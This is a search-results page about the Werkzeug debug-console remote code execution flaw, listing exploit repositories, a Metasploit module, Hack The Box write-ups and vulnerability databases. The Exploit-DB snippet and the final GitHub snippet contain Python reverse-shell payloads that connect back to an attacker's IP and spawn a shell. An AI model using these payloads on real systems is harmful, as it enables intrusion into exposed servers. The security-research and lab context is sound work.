🌐
GitHub
github.com › Fare9 › PyWerkzeug-Debug-Command-Execution
GitHub - Fare9/PyWerkzeug-Debug-Command-Execution: python exploit for werkzeug debug shell command execution · GitHub
python exploit for werkzeug debug shell command execution - Fare9/PyWerkzeug-Debug-Command-Execution
Starred by 10 users
Forked by 8 users
Languages   Python
🌐
Exploit-DB
exploit-db.com › exploits › 43905
Werkzeug - 'Debug Shell' Command Execution - Multiple remote Exploit
January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%
🌐
Rapid7
rapid7.com › db › modules › exploit › multi › http › werkzeug_debug_rce
Pallete Projects Werkzeug Debugger Remote Code ...
June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.
🌐
Marmeus
marmeus.com › post › ScriptKiddie
ScriptKiddie - [HTB] | Marmeus's Website
June 4, 2021 - Script kiddie is an easy Linux machine from Hack The Box where the attacker will have to exploit a vulnerability for msfvenom inside the service Werkzeug to become the user **kid^. Then, will have to modified the behaviour of a script via improper ...
🌐
Medium
mathew-seelan.medium.com › hack-the-box-scriptkiddie-writeup-5dc4679b2c77
Hack The Box — ScriptKiddie Writeup | by Mathew Seelan | Medium
June 9, 2021 - Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA) | 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA) |_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519) 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) |_http-server-header: Werkzeug/0.16.1 Python/3.8.5 |_http-title: k1d'5 h4ck3r t00l5 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed.
🌐
Medium
nateahess.medium.com › htb-writeup-werkzeug-7bb0640d79f0
Hack The Box: Skript Kiddie — Werkzeug | by Nate Hess | Medium
December 29, 2022 - We have officially exploited the Werkzeug vulnerability and established a reverse shell connection. However, the Werkzeug app isn’t running on an account with root access, so still no root flag…but hey, it was fun manipulating the system!
🌐
Snyk
snyk.io › snyk vulnerability database › pip
werkzeug | Snyk
Security vulnerabilities and package health score for pip package werkzeug
🌐
Rawsec
blog.raw.pm › en › HackTheBox-ScriptKiddie-write-up
ScriptKiddie - Write-up - HackTheBox - Rawsec - raw.pm
September 27, 2025 - ... This module exploits a command injection vulnerability in Metasploit Framework's msfvenom payload generator when using a crafted APK file as an Android payload template. Affects Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0.
🌐
Medium
medium.com › swlh › hacking-flask-applications-939eae4bffed
Hacking Flask Applications. Executing arbitrary commands using the… | by Vickie Li | The Startup | Medium
February 18, 2020 - The issue here is not the Werkzeug debugger itself, but an incorrect way of configuring a Werkzeug application: making the debugger available on a production machine. A publicly exposed debugger will subject the machine to remote code execution.
Find elsewhere
🌐
Zeyu2001
pentesting.zeyu2001.com › hack-the-box › easy › scriptkiddie
ScriptKiddie - Pentesting - Zeyu's OSCP Writeups
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🌐
Weebly
perptemliona.weebly.com › werkzeug101exploit.html
Werkzeug-1.0.1-exploit Extra Quality
ApPHP MicroBlog 1.0.1 Exploit Code for CVE Aug 24, 2020 · And the server is Werkzeug/1.0.1 Python/3.8.2 which is vulnerable to Shell Command Execution. ... This exercise explains how you can exploit CVE-2012-6081 to gain code ... This course details the exploitation of a code execution in MoinMoin wiki. ... First, the request is based on the Request class from the Python project werkzeug . werkzeug exploit, werkzeug exploit github, werkzeug exploit 0.16.1, werkzeug exploit db, werkzeug exploit metasploit, werkzeug exploit 1.0.1, werkzeug exploit secret, werkzeug exploit python, werkzeug exploit pin, werkzeug exploit debug is not enabled, exploit werkzeug httpd 0.16.1, werkzeug/1.0.0 exploit
🌐
Veracode
sourceclear.com › vulnerability-database › security › directory-traversal › python › sid-20917
Directory Traversal Vulnerability in the werkzeug library | Veracode
werkzeug (werkzeug). werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.
🌐
CVE Details
cvedetails.com › product › 41301 › Palletsprojects-Werkzeug.html
Palletsprojects Werkzeug security vulnerabilities, CVEs, versions and CVE reports
Palletsprojects Werkzeug security vulnerabilities, CVEs, exploits, metasploit modules, vulnerability statistics and list of versions
🌐
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › werkzeug
Werkzeug / Flask Debug - HackTricks
3 days ago - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.
🌐
HackTricks
book.hacktricks.xyz › pentesting › pentesting-web › werkzeug
Page not found - HackTricks
September 10, 2022 - This URL is invalid, sorry. Please use the navigation bar or search to continue
🌐
InfosecMatter
infosecmatter.com › home › metasploit module library
Werkzeug Debug Shell Command Execution - Metasploit - InfosecMatter
December 4, 2022 - This module will exploit the Werkzeug debug console to put down a Python shell. This debugger "must never be used on production machines" but sometimes slips passed testing. Tested against: 0.9.6 on Debian 0.9.6 on Centos 0.10 on Debian
🌐
GitHub
github.com › MistSpark › Vigilant-Exploits › blob › master › Werkzeug_Exploit.py
Vigilant-Exploits/Werkzeug_Exploit.py at master · MistSpark/Vigilant-Exploits
payload = '''import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('%s',%s));os.dup2(s.fileno(),0);'''\ · '''os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.close();'''%(attackerIP,port)
Author   MistSpark